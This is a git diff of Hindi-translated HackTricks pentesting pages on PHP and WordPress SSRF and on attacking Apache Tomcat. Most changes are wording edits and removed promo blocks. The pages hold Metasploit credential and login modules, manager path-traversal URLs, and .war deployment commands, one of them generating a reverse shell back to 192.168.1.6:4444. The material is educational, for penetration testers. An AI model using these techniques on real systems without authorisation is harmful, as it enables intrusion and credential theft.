Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### SSRF PHP functions
|
||||
|
||||
कुछ फ़ंक्शन जैसे **file\_get\_contents(), fopen(), file(), md5\_file()** URL को इनपुट के रूप में स्वीकार करते हैं जिन्हें वे फॉलो करेंगे, जिससे **संभावित SSRF कमजोरियाँ** हो सकती हैं यदि उपयोगकर्ता डेटा को नियंत्रित कर सकता है:
|
||||
कुछ फ़ंक्शन जैसे **file\_get\_contents(), fopen(), file(), md5\_file()** URL को इनपुट के रूप में स्वीकार करते हैं जिन्हें वे फॉलो करेंगे जिससे **संभावित SSRF कमजोरियाँ** बन सकती हैं यदि उपयोगकर्ता डेटा को नियंत्रित कर सकता है:
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
|
@ -34,7 +26,7 @@ md5_file("http://127.0.0.1:8081");
|
|||
```
|
||||
### Wordpress SSRF via DNS Rebinding
|
||||
|
||||
जैसा कि [**इस ब्लॉग पोस्ट में समझाया गया है**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), यहां तक कि Wordpress फ़ंक्शन **`wp_safe_remote_get`** DNS rebinding के प्रति संवेदनशील है, जिससे यह SSRF हमलों के लिए संभावित रूप से संवेदनशील हो जाता है। मुख्य मान्यता जो यह कॉल करता है वह है **wp\_http\_validate\_ur**l, जो यह जांचता है कि प्रोटोकॉल `http://` या `https://` है और कि पोर्ट **80**, **443**, और **8080** में से एक है, लेकिन यह **DNS rebinding के प्रति संवेदनशील है**।
|
||||
जैसा कि [**इस ब्लॉग पोस्ट में समझाया गया है**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), यहां तक कि Wordpress फ़ंक्शन **`wp_safe_remote_get`** DNS rebinding के प्रति संवेदनशील है, जिससे यह संभावित रूप से SSRF हमलों के लिए संवेदनशील हो जाता है। मुख्य सत्यापन जो यह कॉल करता है वह है **wp\_http\_validate\_ur**l, जो यह जांचता है कि प्रोटोकॉल `http://` या `https://` है और कि पोर्ट **80**, **443**, और **8080** में से एक है, लेकिन यह **DNS rebinding के प्रति संवेदनशील है**।
|
||||
|
||||
पोस्ट के अनुसार अन्य संवेदनशील फ़ंक्शन हैं:
|
||||
|
||||
|
@ -67,7 +59,7 @@ Connection: close
|
|||
इस CRLF vuln के बारे में अधिक जानकारी के लिए, इस बग की जांच करें [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
|
||||
{% endhint %}
|
||||
|
||||
ध्यान दें कि इन फ़ंक्शंस में अनुरोधों में मनमाने हेडर सेट करने के अन्य तरीके हो सकते हैं, जैसे:
|
||||
ध्यान दें कि इन फ़ंक्शनों में अनुरोधों में मनमाने हेडर सेट करने के अन्य तरीके हो सकते हैं, जैसे:
|
||||
```php
|
||||
$url = "";
|
||||
|
||||
|
@ -83,23 +75,17 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
**ट्राई हार्ड सुरक्षा समूह**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Discovery
|
||||
|
||||
* यह आमतौर पर **पोर्ट 8080** पर चलता है
|
||||
|
@ -65,7 +57,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
एक और महत्वपूर्ण निर्देशिका **`/manager/status`** है, जो Tomcat और OS संस्करण को प्रदर्शित करती है, जिससे कमजोरियों की पहचान में मदद मिलती है।
|
||||
एक और महत्वपूर्ण निर्देशिका **`/manager/status`** है, जो टॉमकैट और ओएस संस्करण को प्रदर्शित करती है, जिससे कमजोरियों की पहचान में मदद मिलती है।
|
||||
|
||||
### **Brute Force Attack**
|
||||
|
||||
|
@ -85,7 +77,7 @@ Along with setting various parameters in Metasploit to target a specific host.
|
|||
|
||||
`mod_jk` में CVE-2007-1860 कमजोरियाँ डबल URL एन्कोडिंग पथ ट्रैवर्सल की अनुमति देती हैं, जो विशेष रूप से तैयार किए गए URL के माध्यम से प्रबंधन इंटरफेस तक अनधिकृत पहुँच सक्षम करती हैं।
|
||||
|
||||
Tomcat के प्रबंधन वेब तक पहुँचने के लिए जाएँ: `pathTomcat/%252E%252E/manager/html`
|
||||
टॉमकैट के प्रबंधन वेब तक पहुँचने के लिए जाएँ: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /examples
|
||||
|
||||
|
@ -116,15 +108,15 @@ Apache Tomcat संस्करण 4.x से 7.x में उदाहरण
|
|||
|
||||
### **पथ ट्रैवर्सल शोषण**
|
||||
|
||||
कुछ [**कमजोर कॉन्फ़िगरेशन के Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) में आप पथ का उपयोग करके Tomcat में संरक्षित निर्देशिकाओं तक पहुँच प्राप्त कर सकते हैं: `/..;/`
|
||||
कुछ [**टॉमकैट की कमजोर कॉन्फ़िगरेशन**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) में आप पथ का उपयोग करके टॉमकैट में संरक्षित निर्देशिकाओं तक पहुँच प्राप्त कर सकते हैं: `/..;/`
|
||||
|
||||
तो, उदाहरण के लिए, आप **Tomcat प्रबंधक** पृष्ठ तक पहुँचने में सक्षम हो सकते हैं: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
तो, उदाहरण के लिए, आप **टॉमकैट प्रबंधक** पृष्ठ तक पहुँचने में सक्षम हो सकते हैं: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**एक और तरीका** इस ट्रिक का उपयोग करके संरक्षित पथों को बायपास करने का है: `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
अंत में, यदि आपके पास Tomcat वेब एप्लिकेशन प्रबंधक तक पहुँच है, तो आप **एक .war फ़ाइल अपलोड और तैनात कर सकते हैं (कोड निष्पादित करें)**।
|
||||
अंत में, यदि आपके पास टॉमकैट वेब एप्लिकेशन प्रबंधक तक पहुँच है, तो आप **एक .war फ़ाइल अपलोड और तैनात कर सकते हैं (कोड निष्पादित करें)**।
|
||||
|
||||
### सीमाएँ
|
||||
|
||||
|
@ -171,7 +163,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
|||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||
```
|
||||
### Using [Culsterd](https://github.com/hatRiot/clusterd)
|
||||
### [Culsterd](https://github.com/hatRiot/clusterd) का उपयोग करना
|
||||
```bash
|
||||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||||
```
|
||||
|
@ -230,7 +222,7 @@ Tomcat क्रेडेंशियल्स इकट्ठा करने
|
|||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
```
|
||||
## अन्य टॉमकैट स्कैनिंग टूल
|
||||
## अन्य टॉमकैट स्कैनिंग उपकरण
|
||||
|
||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
|
@ -239,12 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**ट्राई हार्ड सिक्योरिटी ग्रुप**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -254,7 +240,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का अनुसरण करें।**
|
||||
* **हमारे** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Discovery
|
||||
|
||||
* यह आमतौर पर **पोर्ट 8080** पर चलता है
|
||||
|
@ -77,15 +69,15 @@ Along with setting various parameters in Metasploit to target a specific host.
|
|||
|
||||
## सामान्य कमजोरियाँ
|
||||
|
||||
### **पासवर्ड बैकट्रेस डिस्क्लोजर**
|
||||
### **पासवर्ड बैकट्रेस प्रकटीकरण**
|
||||
|
||||
`/auth.jsp` तक पहुँचने से भाग्यशाली परिस्थितियों में बैकट्रेस के तहत पासवर्ड प्रकट हो सकता है।
|
||||
|
||||
### **डबल URL एन्कोडिंग**
|
||||
|
||||
`mod_jk` में CVE-2007-1860 कमजोरियाँ डबल URL एन्कोडिंग पथ ट्रैवर्सल की अनुमति देती हैं, जो विशेष रूप से तैयार किए गए URL के माध्यम से प्रबंधन इंटरफेस तक अनधिकृत पहुँच सक्षम करती हैं।
|
||||
`mod_jk` में CVE-2007-1860 कमजोरियाँ डबल URL एन्कोडिंग पथ यात्रा की अनुमति देती हैं, जिससे विशेष रूप से तैयार किए गए URL के माध्यम से प्रबंधन इंटरफ़ेस तक अनधिकृत पहुँच संभव होती है।
|
||||
|
||||
Tomcat के प्रबंधन वेब तक पहुँचने के लिए जाएँ: `pathTomcat/%252E%252E/manager/html`
|
||||
टॉमकैट के प्रबंधन वेब तक पहुँचने के लिए जाएँ: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /examples
|
||||
|
||||
|
@ -114,17 +106,17 @@ Apache Tomcat संस्करण 4.x से 7.x में उदाहरण
|
|||
* /examples/servlet/SessionExample
|
||||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||
|
||||
### **पथ ट्रैवर्सल शोषण**
|
||||
### **पथ यात्रा शोषण**
|
||||
|
||||
कुछ [**कमजोर कॉन्फ़िगरेशन के Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) में आप पथ का उपयोग करके Tomcat में संरक्षित निर्देशिकाओं तक पहुँच प्राप्त कर सकते हैं: `/..;/`
|
||||
कुछ [**टॉमकैट की संवेदनशील कॉन्फ़िगरेशन**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) में आप पथ का उपयोग करके टॉमकैट में संरक्षित निर्देशिकाओं तक पहुँच प्राप्त कर सकते हैं: `/..;/`
|
||||
|
||||
तो, उदाहरण के लिए, आप **Tomcat प्रबंधक** पृष्ठ तक पहुँचने में सक्षम हो सकते हैं: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
तो, उदाहरण के लिए, आप **टॉमकैट प्रबंधक** पृष्ठ तक पहुँचने में सक्षम हो सकते हैं: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**एक और तरीका** इस ट्रिक का उपयोग करके संरक्षित पथों को बायपास करने का है: `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
अंत में, यदि आपके पास Tomcat वेब एप्लिकेशन प्रबंधक तक पहुँच है, तो आप **एक .war फ़ाइल अपलोड और तैनात कर सकते हैं (कोड निष्पादित करें)**।
|
||||
अंत में, यदि आपके पास टॉमकैट वेब एप्लिकेशन प्रबंधक तक पहुँच है, तो आप **एक .war फ़ाइल अपलोड और तैनात कर सकते हैं (कोड निष्पादित करें)**।
|
||||
|
||||
### सीमाएँ
|
||||
|
||||
|
@ -171,7 +163,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
|||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||
```
|
||||
### Using [Culsterd](https://github.com/hatRiot/clusterd)
|
||||
### [Culsterd](https://github.com/hatRiot/clusterd) का उपयोग करना
|
||||
```bash
|
||||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||||
```
|
||||
|
@ -230,7 +222,7 @@ Tomcat क्रेडेंशियल्स इकट्ठा करने
|
|||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
```
|
||||
## अन्य टॉमकैट स्कैनिंग टूल
|
||||
## अन्य टॉमकैट स्कैनिंग उपकरण
|
||||
|
||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
|
@ -239,22 +231,17 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**ट्राई हार्ड सिक्योरिटी ग्रुप**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### रूट के साथ चलाने से बचें
|
||||
|
||||
Tomcat को रूट के साथ न चलाने के लिए एक बहुत सामान्य कॉन्फ़िगरेशन यह है कि पोर्ट 80/443 पर एक Apache सर्वर सेट किया जाए और, यदि अनुरोधित पथ एक regexp से मेल खाता है, तो अनुरोध को एक अलग पोर्ट पर चल रहे Tomcat को भेजा जाता है।
|
||||
टॉमकैट को रूट के साथ न चलाने के लिए एक बहुत सामान्य कॉन्फ़िगरेशन यह है कि पोर्ट 80/443 पर एक अपाचे सर्वर सेट किया जाए और, यदि अनुरोधित पथ एक नियमित अभिव्यक्ति से मेल खाता है, तो अनुरोध को एक अलग पोर्ट पर चल रहे टॉमकैट को भेजा जाता है।
|
||||
|
||||
### डिफ़ॉल्ट संरचना
|
||||
```
|
||||
|
@ -55,11 +47,11 @@ Tomcat को रूट के साथ न चलाने के लिए
|
|||
* `bin` फ़ोल्डर उन स्क्रिप्ट और बाइनरीज़ को स्टोर करता है जो Tomcat सर्वर को शुरू और चलाने के लिए आवश्यक हैं।
|
||||
* `conf` फ़ोल्डर Tomcat द्वारा उपयोग किए जाने वाले विभिन्न कॉन्फ़िगरेशन फ़ाइलों को स्टोर करता है।
|
||||
* `tomcat-users.xml` फ़ाइल उपयोगकर्ता क्रेडेंशियल और उनके असाइन किए गए भूमिकाओं को स्टोर करती है।
|
||||
* `lib` फ़ोल्डर Tomcat के सही कार्य करने के लिए आवश्यक विभिन्न JAR फ़ाइलों को रखता है।
|
||||
* `lib` फ़ोल्डर Tomcat के सही कार्य के लिए आवश्यक विभिन्न JAR फ़ाइलों को रखता है।
|
||||
* `logs` और `temp` फ़ोल्डर अस्थायी लॉग फ़ाइलों को स्टोर करते हैं।
|
||||
* `webapps` फ़ोल्डर Tomcat का डिफ़ॉल्ट वेब रूट है और सभी अनुप्रयोगों को होस्ट करता है। `work` फ़ोल्डर एक कैश के रूप में कार्य करता है और रनटाइम के दौरान डेटा को स्टोर करने के लिए उपयोग किया जाता है।
|
||||
|
||||
`webapps` के अंदर प्रत्येक फ़ोल्डर से अपेक्षित संरचना है।
|
||||
`webapps` के अंदर प्रत्येक फ़ोल्डर से अपेक्षित है कि उसकी निम्नलिखित संरचना हो।
|
||||
```
|
||||
webapps/customapp
|
||||
├── images
|
||||
|
@ -76,8 +68,8 @@ webapps/customapp
|
|||
└── classes
|
||||
└── AdminServlet.class
|
||||
```
|
||||
सबसे महत्वपूर्ण फ़ाइल इनमें से `WEB-INF/web.xml` है, जिसे डिप्लॉयमेंट डिस्क्रिप्टर के रूप में जाना जाता है। यह फ़ाइल **ऐप्लिकेशन द्वारा उपयोग किए जाने वाले रूट्स** के बारे में जानकारी और इन रूट्स को संभालने वाली कक्षाओं को संग्रहीत करती है।\
|
||||
ऐप्लिकेशन द्वारा उपयोग की जाने वाली सभी संकलित कक्षाएँ `WEB-INF/classes` फ़ोल्डर में संग्रहीत होनी चाहिए। इन कक्षाओं में महत्वपूर्ण व्यावसायिक लॉजिक के साथ-साथ संवेदनशील जानकारी भी हो सकती है। इन फ़ाइलों में कोई भी भेद्यता वेबसाइट के पूर्ण समझौते की ओर ले जा सकती है। `lib` फ़ोल्डर उस विशेष ऐप्लिकेशन के लिए आवश्यक पुस्तकालयों को संग्रहीत करता है। `jsp` फ़ोल्डर [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) को संग्रहीत करता है, जिसे पहले `JavaServer Pages` के रूप में जाना जाता था, जिसे Apache सर्वर पर PHP फ़ाइलों के साथ तुलना की जा सकती है।
|
||||
सबसे महत्वपूर्ण फ़ाइल इनमें से `WEB-INF/web.xml` है, जिसे डिप्लॉयमेंट डिस्क्रिप्टर के रूप में जाना जाता है। यह फ़ाइल **ऐप्लिकेशन द्वारा उपयोग किए जाने वाले रूट्स** और इन रूट्स को संभालने वाली कक्षाओं के बारे में जानकारी संग्रहीत करती है।\
|
||||
ऐप्लिकेशन द्वारा उपयोग की जाने वाली सभी संकलित कक्षाएँ `WEB-INF/classes` फ़ोल्डर में संग्रहीत होनी चाहिए। इन कक्षाओं में महत्वपूर्ण व्यावसायिक तर्क और संवेदनशील जानकारी हो सकती है। इन फ़ाइलों में कोई भी भेद्यता वेबसाइट के पूर्ण समझौते की ओर ले जा सकती है। `lib` फ़ोल्डर उस विशेष ऐप्लिकेशन के लिए आवश्यक पुस्तकालयों को संग्रहीत करता है। `jsp` फ़ोल्डर [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) को संग्रहीत करता है, जिसे पहले `JavaServer Pages` के रूप में जाना जाता था, जिसे Apache सर्वर पर PHP फ़ाइलों के साथ तुलना की जा सकती है।
|
||||
|
||||
यहाँ एक उदाहरण **web.xml** फ़ाइल है।
|
||||
```xml
|
||||
|
@ -97,7 +89,7 @@ webapps/customapp
|
|||
</servlet-mapping>
|
||||
</web-app>
|
||||
```
|
||||
The `web.xml` configuration above defines a **नया सर्वलेट जिसका नाम `AdminServlet`** है जो **क्लास `com.inlanefreight.api.AdminServlet`** से मैप किया गया है। Java डॉट नोटेशन का उपयोग पैकेज नाम बनाने के लिए करता है, जिसका अर्थ है कि ऊपर परिभाषित क्लास के लिए डिस्क पर पथ होगा:
|
||||
The `web.xml` कॉन्फ़िगरेशन ऊपर एक **नया सर्वलेट नाम `AdminServlet`** परिभाषित करता है जो **क्लास `com.inlanefreight.api.AdminServlet`** से मैप किया गया है। जावा डॉट नोटेशन का उपयोग पैकेज नाम बनाने के लिए करता है, जिसका अर्थ है कि ऊपर परिभाषित क्लास के लिए डिस्क पर पथ होगा:
|
||||
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
|
@ -105,7 +97,7 @@ The `web.xml` configuration above defines a **नया सर्वलेट
|
|||
|
||||
### tomcat-users
|
||||
|
||||
**`tomcat-users.xml`** फ़ाइल का उपयोग **अनुमति देने** या **`/manager` और `host-manager` प्रशासनिक पृष्ठों** तक पहुँच को अस्वीकार करने के लिए किया जाता है।
|
||||
**`tomcat-users.xml`** फ़ाइल का उपयोग **`/manager` और `host-manager` प्रशासनिक पृष्ठों** तक पहुँच को **अनुमति देने** या अस्वीकार करने के लिए किया जाता है।
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
|
@ -152,23 +144,18 @@ The file shows us what each of the roles `manager-gui`, `manager-script`, `manag
|
|||
|
||||
